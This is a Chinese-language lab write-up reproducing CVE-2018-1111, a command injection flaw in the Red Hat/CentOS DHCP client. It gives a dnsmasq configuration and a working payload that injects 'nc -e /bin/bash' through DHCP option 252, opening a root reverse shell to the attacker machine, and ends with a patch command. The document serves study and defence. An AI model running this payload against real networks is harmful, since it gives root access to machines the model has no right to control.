DHCP命令执行_CVE-2018-1111漏洞复现
一、漏洞描述
在Red Hat Enterprise Linux多个版本的DHCP客户端软件包所包含的NetworkManager集成脚本中发现了命令注入漏洞,攻击者可以通过本地网络上的恶意DHCP服务器或者使用恶意的虚假DHCP响应来利用此漏洞进行攻击,一旦攻击成功,则可以在配置了DHCP的NetworkManager的系统上以root权限执行任意命令。
二、漏洞影响版本
Red hat 6.x、7.x
Centos 6.x、7.x
三、漏洞复现环境搭建
测试环境:攻击机:kali 目标机(靶机):centos7
- 配置虚拟网络,设置仅主机模式、关闭dhcp
- 将攻击机和靶机网络配置成仅主机模式
3.kali(攻击机)搭建dhcp服务
3.1先在kali下设置网络(配置ip和网关)
3.2在当前目录新建一个dnsmasq.conf文件,写入以下内容进行配置:
bind-interfaces
interface=eth0
except-interface=lo
dhcp-range=192.168.2.20,192.168.2.30,12h #dhcp-range:表示要分配给客户机的ip地址范围和租约时间
dhcp-option=3,192.168.2.11 #dhcp-option 表示指定给DHCP客户端的选项信息,3:表示设置网关地址选项
dhcp-option=6,192.168.2.11 #6:表示设置DNS服务器地址选项
log-queries
log-facility=/var/log/dnsmasq.log #表示日志记录器
4.漏洞利用payload
dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.2.11 8888 #"
252:表示为DHCP客户端提供了一个用于配置其代理设置的url, wpad-proxy-url
payload 中涉及到的 option 252 是私人使用保留部分的一部分, 为 dhcp 服务器使用 252，然后在他们的浏览器中写入与 dhcp 服务器交谈的能力，并要求代码 252 从该选项列出的 URL 中获取关于网络上代理设置的信息
5.kali开启监听
6.centos(靶机)重启网络服务,kali接收到反弹shell
四、漏洞防御
更新dhcp
yum -y update dhclient